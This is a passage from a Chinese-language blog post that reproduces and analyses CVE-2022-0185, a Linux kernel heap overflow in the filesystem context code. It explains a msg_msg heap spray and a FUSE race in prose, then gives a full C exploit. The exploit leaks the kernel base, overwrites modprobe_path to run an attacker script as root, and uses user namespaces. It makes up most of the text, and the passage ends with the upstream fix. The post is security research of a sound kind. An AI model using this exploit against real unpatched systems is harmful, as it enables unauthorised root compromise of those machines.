} else {
char ch;

if (prctl(PR_SET_NAME, "arttPWNnba3") < 0) {
err_exit("FAILED to prctl()!");
}

read(msg_pipe[0], &ch, 1);
}

puts("[*] checking for root...");
get_root_shell();

return 0;
}

运行即可完成提权

image.png

方法二、结合 FUSE + msg_msg 进行任意地址写

现在我们有了任意长度的堆溢出,而可溢出对象用的分配 flag 为 GFP_KERNEL、大小为 4k(一张内存页大小),那么我们不难想到可以基于我们的老朋友 System V 消息队列结构体来完成利用

Step.I - 堆喷 msg_msg,覆写 m_ts 字段进行越界读取

我们先来复习一下消息队列中一条消息的基本结构,当我们调用 msgsnd 系统调用在指定消息队列上发送一条指定大小的 message 时,在内核空间中会创建这样一个结构体作为信息的 header:

1
2
3
4
5
6
7
8
9
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};

当我们在单个消息队列上发送一条消息时,若大小不大于【一个页面大小 - header size】,则仅使用一个 msg_msg 结构体进行存储,而当我们单次发送大于【一个页面大小 - header size】大小的消息时,内核会额外补充添加 msg_msgseg 结构体,其与 msg_msg 之间形成如下单向链表结构,而单个 msg_msgseg 的大小最大为一个页面大小,超出这个范围的消息内核会额外补充上更多的 msg_msgseg 结构体,链表最后以 NULL 结尾:

image.png

由于我们有越界写,那么我们不难想到的是我们可以将 msg_msgctx->legacy_data 堆喷到一起,之后越界写入相邻 msg_msg 的 header 将 m_ts 改大,之后我们再使用 msgrcv() 读取消息,便能读取出超出该消息范围的内容,从而完成越界读取;由于我们的越界写入会破坏 msg_msg 头部的双向链表,因此在读取时我们应当使用 MSG_COPY 以保持消息在队列上不会被 unlink

由于 ctx->legacy_data 的大小已经是 4k 了,故我们考虑在 msg_msgseg 上完成越界读取,由于 msgrcv() 拷贝消息时以单链表结尾 NULL 作为终止,故我们最多可以在 msg_msgseg 上读取将近一张内存页大小的数据,因此我们考虑让 msg_msgseg 的消息尽量小,从而让我们能够越界读取到更多的 object

接下来考虑如何使用越界读取进行数据泄露,这里我们考虑堆喷其他的可以泄露数据的小结构体与我们的 msg_msgseg 混在一起,从而使得我们越界读取时可以直接读到我们堆喷的这些小结构体,从而泄露出内核代码段加载基地址,那么这里笔者考虑堆喷 seq_operations 来完成数据的泄露

为了提高越界写入 msg_msg 的成功率,笔者选择先堆喷一部分 msg_msg,之后分配 ctx->legacy_data , 接下来再堆喷另一部分 msg_msg为了提高数据泄露的成功概率,笔者选择在每次在消息队列上发送消息时都喷一个 seq_operations,在完成消息队列的发送之后再喷射大量的 seq_operations

不过需要注意的是我们的越界写并不一定能写到相邻的 msg_msg,也可能写到其他结构体或是 free object,若 free object 的 next 指针刚好位于开头被我们 overwrite 了,则会在后面的分配中导致 kernel panic

Step.II - 堆喷 msg_msg,利用 FUSE 在消息拷贝时覆写 next 字段进行任意地址写

接下来我们该考虑如何进行提权的工作了,通过覆写 msg_msg 的方式我们同样可以进行任意地址写的操作,由于消息发送时在 do_msgsnd() 当中是先分配对应的 msg_msgmsg_msgseg 链表作为消息的存储空间再进行拷贝,那么我们不难想到的是我们可以先发送一个大于一张内存页大小的消息,这样会分配一个 4k 的 msg_msg 与一个 msg_msgseg ,在 do_msgsnd() 中完成空间分配后在 msg_msg 上进行数据拷贝的时候,我们在另一个线程当中使用越界写更改 msg_msg 的 header,使其 next 指针更改到我们想要写入数据的地方,当 do_msgsnd() 开始将数据拷贝到 msg_msgseg 上时,由于 msg_msg 的 next 指针已经被我们所更改,故其会将数据写入到我们指定的地址上,从而完成任意地址写

image.png

不过 do_msgsnd() 的所有操作在一个系统调用中完成,因此这需要我们进行条件竞争,而常规的条件竞争通常很难成功,那么我们不难想到的是我们可以利用 userfaultfddo_msgsnd() 在拷贝数据到 msg_msg 时触发用户空间的缺页异常,陷入到我们的 page fault handler 中,我们在 handler 线程中再进行越界写,之后恢复到原线程,这样利用的成功率便大大提高了

image.png

但是自 kernel 版本 5.11 起非特权用户无法使用 userfaultfd,而该漏洞影响的内核版本包括 5.11以上的版本,因此我们需要使用更为通用的办法——用户空间文件系统(filesystem in userspace,FUSE)可以被用作 userfaultfd 的替代品,帮助我们完成条件竞争的利用

image.png

不过需要注意的是,由于 slub allocator 的随机性,我们并不能保证一定能够溢出到陷入 FUSE 中的 msg_msg ,因此需要多次分配并进行检查以确保我们完成了任意地址写

有了任意地址写,现在该考虑写哪里、写什么了,我们可以通过覆写一些全局函数表来劫持内核执行流,或是覆写一些其他的东西完成提权,这里笔者选择覆写 modprobe_path 完成提权,当我们执行一个格式非法的程序时,内核会以 root 权限执行 modprobe_path 所指的应用,我们只需要将其改为我们的恶意脚本的路径即可

FINAL EXPLOIT

最后由笔者编写的 exp 如下,因为一些原因暂时无法进行验证,但是思路应该是对的,在理论上应当可行:

内核地址泄露的部分经过验证了,但是对于 FUSE 进行利用的部分,由于笔者在复现漏洞时使用的是 CTF 中 kernel pwn 的简易环境,故没法使用 FUSE:(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
#define _GNU_SOURCE
#define FUSE_USE_VERSION 34
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <linux/mount.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <errno.h>
#include <stddef.h>
#include <fuse.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

#define PRIMARY_MSG_SIZE 4096
#define SECONDARY_MSG_SIZE 32
#define MSG_TYPE 'A'
#define PRIMARY_MSG_TYPE 'A'
#define SECONDARY_MSG_TYPE 'B'
#define VICTIM_MSG_TYPE 0x1337
#define MSG_TAG 0xAAAAAAAA

#define MSG_QUEUE_NUM 0x10
#define SEQ_FILE_NUM 0x100

#define MSG_HOLE_SPACE 8

#define EVIL_FILE_NAME "a3fuse_evil_file"
#define EVIL_DAEMON_NAME "evil_fuse"
#define EVIL_MOUNT_PATH "/tmp/evil"
#define EVIL_FILE_PATH EVIL_MOUNT_PATH "/" EVIL_FILE_NAME

struct list_head {
uint64_t next;
uint64_t prev;
};

struct msg_msg {
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};

struct msg_msgseg {
uint64_t next;
};

struct {
long mtype;
char mtext[PRIMARY_MSG_SIZE - sizeof(struct msg_msg)
+ SECONDARY_MSG_SIZE - sizeof(struct msg_msgseg)];
} primary_msg;

char *evil_args[] = { EVIL_DAEMON_NAME, EVIL_MOUNT_PATH, NULL };
int exp_fs_fd;

static int a3fuse_evil_readdir(const char* path, void* buf,
fuse_fill_dir_t filler, off_t offset,
struct fuse_file_info* fi,
enum fuse_readdir_flags flags);
static int a3fuse_evil_getattr(const char* path, struct stat *stbuf,
struct fuse_file_info *fi);
static int a3fuse_evil_read(const char *path, char *buf, size_t size,
off_t offset, struct fuse_file_info *fi);
static int a3fuse_evil_write(const char *path, const char *buf, size_t size,
off_t offset, struct fuse_file_info *fi);

static struct fuse_operations a3fuse_evil_ops = {
.readdir = a3fuse_evil_readdir,
.getattr = a3fuse_evil_getattr,
.read = a3fuse_evil_read,
.write = a3fuse_evil_write,
};

char cat_flag[] = "#!/bin/sh\nchmod 777 /flag";

size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\n\033[0m");
}

int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fsfd, unsigned int cmd,
const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

void errExit(char *msg)
{
printf("\033[31m\033[1m[x] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}

int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0);
}

int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
*(long*)msgp = msgtyp;
return msgsnd(msqid, msgp, msgsz - sizeof(long), 0);
}

int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
size_t __msgsz = msgsz - sizeof(long);
return msgrcv(msqid, msgp, __msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}

void buildMsg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev,
uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security)
{
msg->m_list.next = m_list_next;
msg->m_list.prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = security;
}

static int a3fuse_evil_readdir(const char* path, void* buf,
fuse_fill_dir_t filler, off_t offset,
struct fuse_file_info* fi,
enum fuse_readdir_flags flags)
{
if (strcmp(path, "/")) {
return -ENOENT;
}

filler(buf, ".", NULL, 0, 0);
filler(buf, "..", NULL, 0, 0);
filler(buf, EVIL_FILE_PATH, NULL, 0, 0);

return 0;
}

static int a3fuse_evil_getattr(const char* path, struct stat *stbuf,
struct fuse_file_info *fi)
{
if (!strcmp(path, "/")) {
stbuf->st_mode = 0755 | S_IFDIR;
stbuf->st_nlink = 2;
} else if(!strcmp(path + 1, EVIL_FILE_PATH)) {
stbuf->st_mode = 0644 | S_IFREG;
stbuf->st_nlink = 1;
stbuf->st_size = 0x1000;
} else {
return -ENOENT;
}

return 0;
}

static int a3fuse_evil_read(const char *path, char *buf, size_t size,
off_t offset, struct fuse_file_info *fi)
{
/* I only set one page there */
char evil_buf[0x1000], fake_msg[0x100];

if (offset >= 0x1000) {
return -1;
} else if (offset + size > 0x1000) {
size = 0x1000 - offset;
}

memset(evil_buf, 0, sizeof(evil_buf));
strcpy(evil_buf, "arttnba3/tmp/evil.sh");
memcpy(buf, evil_buf + offset, size);

/* fake msg_msg with `next` pointing to modprobe_path*/
buildMsg(fake_msg, "arttnba3", "arttnba3", *(uint64_t*) "arttnba3",
*(uint64_t*) "arttnba3", 0xffffffff82891160 + kernel_offset,
*(uint64_t*) "arttnba3");
fsconfig(exp_fs_fd, FSCONFIG_SET_STRING, "", fake_msg + 2, 0);

return size;
}

static int a3fuse_evil_write(const char *path, const char *buf, size_t size,
off_t offset, struct fuse_file_info *fi)
{
/* I only set one page there */
char evil_buf[0x1000];

if (offset >= 0x1000) {
return -1;
} else if (offset + size > 0x1000) {
size = 0x1000 - offset;
}

memcpy(evil_buf + offset, buf, size);

return size;
}

/**
* @brief make an out-of-bound write to the next object in kmalloc-4k,
* note that the buf before will always be appended to a ",=",
* for a ctx-legacy_data with 4095 bytes' data, the ',' will be the last byte,
* and the '=' will always be on the first by of the object nearby
*
* @param buf buf to write to next object
* @return int - the fd for filesystem context
*/
int oobWritePrepare(void)
{
int fs_fd;

/* get a filesystem context */
fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
errExit("FAILED to fsopen()!");
}

/**
* fulfill the ctx->legacy_data to 4095 bytes,
* so that the (PAGE_SIZE - 2 - size) overflow
*/
for (int i = 0; i < 255; i++) {
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba", "arttnba", 0);
}
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba3", "pwnnn", 0);

return fs_fd;
}

void leakKernelBase(void)
{
int fs_fd;
int msqid[MSG_QUEUE_NUM];
int seq_fd[SEQ_FILE_NUM];
char m_ts_buf[0x10];
uint64_t buf[0x1000];

/* create message queue */
puts("[*] create message queue for data leaking...");
for (int i = 0; i < MSG_QUEUE_NUM; i++) {
if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0) {
errExit("failed to create msg_queue!");
}
}

/* spray msg_msg in half of message queues and seq_file */
puts("[*] spray msg_msg in half of message queues and seq_files...");
for (int i = 0; i < (MSG_QUEUE_NUM / 2); i++) {
memset(&primary_msg.mtext, 'A' + i, sizeof(primary_msg) - sizeof(long));
if (writeMsg(msqid[i],&primary_msg, sizeof(primary_msg),MSG_TYPE) < 0) {
printf("[x] error at sending msg_msg on %d queue\n", i);
errExit("FAILED to send message!");
}

if ((seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0) {
printf("[x] error at opening %d seq_file\n", i);
errExit("FAILED to open /proc/self/stat!");
}
}

/* fsconfig() to set the size to the &msg_msg->m_ts */
puts("[*] fsconfig() to set the size to the &msg_msg->m_ts...");
fs_fd = oobWritePrepare();

fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00",
"arttnbaarttnbaarttnba", 0);

/* spray msg_msg into the left half of message queues and seq_files */
puts("[*] spray msg_msg in another half of message queues and seq_files..");
for (int i = (MSG_QUEUE_NUM / 2); i < MSG_QUEUE_NUM; i++) {
memset(&primary_msg.mtext, 'A' + i, sizeof(primary_msg) - sizeof(long));
if (writeMsg(msqid[i],&primary_msg, sizeof(primary_msg),MSG_TYPE) < 0) {
printf("[x] error at sending msg_msg on %d queue\n", i);
errExit("FAILED to send message!");
}

if ((seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0) {
printf("[x] error at opening %d seq_file\n", i);
errExit("FAILED to open /proc/self/stat!");
}
}

/* oob write to overwrite m_ts of one msg_msg */
puts("[*] oob write to overwrite m_ts of one msg_msg...");
memset(m_ts_buf, '\0', sizeof(m_ts_buf));
*((long*) m_ts_buf) = 0xfd0 + 0xff0;
fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", m_ts_buf, 0);

/* spray more seq_operations */
puts("[*] spray more seq_operations...");
for (int i = MSG_QUEUE_NUM; i < SEQ_FILE_NUM; i++) {
if ((seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0) {
printf("[x] error at opening %d seq_file\n", i);
errExit("FAILED to open /proc/self/stat!");
}
}

/* check for oob read */size_t data_leak = -1;
puts("[*] checking for oob reading...");
for (int i = 0; i < MSG_QUEUE_NUM; i++) {
ssize_t rcvsz;

memset(buf, '\0', sizeof(buf));
if ((rcvsz = peekMsg(msqid[i], buf, 0xfd0 + 0xff0 - 8 + 0x10, 0)) < 0) {
printf("[-] failed to read at %d queue\n", i);
errExit("FAILED to msgrcv(MSG_COPY)!");
}

/* normal queue, just ignore */
if (rcvsz == (0xfd0 + 0x18)) {
continue;
}

for (int j = 0; j < (0xfd0 + 0xfd0) / 8; j++) {
//printf("[----data dump][%d] %p\n", j, buf[j]);
if (buf[j] > kernel_base && ((buf[j] & 0xfff) == 0x4d0)) {
printf("[+] get data leak: %lx\n", buf[j]);
data_leak = buf[j];
goto out;
}
}
}

out:
if (data_leak == -1) {
errExit("failed to leak kernel info!");
}

kernel_offset = data_leak - 0xffffffff813834d0;
kernel_base += kernel_offset;
printf("\033[32m\033[1m[+] kernel base: \033[0m%lx ", kernel_base);
printf("\033[32m\033[1moffset: \033[0m%lx\n", kernel_offset);
printf("[+] modprobe_path: %lx\n", 0xffffffff82891160 + kernel_offset);
}

void arbitraryWriteByMsg(void)
{
int msqid, evil_file_fd;
char *nearby_page, *evil_page;
int msg_sz;

msg_sz = 0xfd0 + 0x18;

if ((evil_file_fd = open(EVIL_FILE_PATH, O_RDWR)) < 0) {
errExit("FAILED to open evil file in FUSE!");
}

nearby_page = (char*) mmap((void*)0x1337000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
evil_page = (char*) mmap((void*)0x1338000, 0x1000, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_FIXED, evil_file_fd, 0);
if (evil_page != (char*)0x1338000) {
errExit("FAILED to map for FUSE file!");
}

memset(nearby_page, 'a', 0x1000);

if ((msqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0) {
errExit("failed to create msg_queue!");
}

exp_fs_fd = oobWritePrepare();

writeMsg(msqid, nearby_page - 0xfd0 + 8, msg_sz, MSG_TYPE);

munmap(nearby_page, 0x1000);
munmap(evil_page, 0x1000);
close(evil_file_fd);
}

int main(int argc, char **argv, char **envp)
{
cpu_set_t cpu_set;
int seq_fd[SEQ_FILE_NUM], leak_msqid[MSG_QUEUE_NUM], shell_fd;
int ret;
char buf[0x2000];
uint64_t *data;

puts("[*] CVE-2022-0185 - exploit by arttnba3");

/* create new namespace to get CAP_SYS_ADMIN */
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) < 0) {
errExit("FAILED to unshare()!");
}

/* to run the exp on the specific core only */
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

/* register for FUSE */
system("mkdir -p " EVIL_MOUNT_PATH);
if (fuse_main(sizeof(evil_args) / sizeof(char*) - 1, evil_args,
&a3fuse_evil_ops, NULL) != 0) {
errExit("FAILED to create FUSE!");
}

/* leak kernel base */
leakKernelBase();

/* prepare file for triggering modprobe_path */
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");

/* prepare file for fake modprobe_path */
shell_fd = open("/tmp/evil.sh", O_RDWR | O_CREAT);
write(shell_fd, cat_flag, sizeof(cat_flag));
close(shell_fd);
system("chmod +x /tmp/evil.sh");

/* exploit */
for (int i = 0; 1; i++) {
int flag_fd;

printf("[-] trying arbitrary write for no.%d time...\n", i);

arbitraryWriteByMsg();
system("/tmp/fake");

flag_fd = open("/flag", O_RDWR);
if (flag_fd > 0) {
puts("[+] Successfully overwrite the modprobe_path!");
break;
}
}

return 0;
}

0x03.漏洞修复

该漏洞在内核主线的 这个 commit 当中被修复,主要就是将减法换成了加法,避免了无符号整型下溢的问题,笔者认为这个修复还是比较成功的:

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/fs/fs_context.c b/fs/fs_context.c
index b7e43a780a625..24ce12f0db32e 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
param->key);
}

- if (len > PAGE_SIZE - 2 - size)
+ if (size + len + 2 > PAGE_SIZE)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&

【CVE.0x09】CVE-2022-0185 漏洞复现及简要分析
http://blog.arttnba3.cn/2023/01/11/CVE-0X09-CVE-2022-0185/
作者
arttnba3
发布于
2023年1月11日
许可协议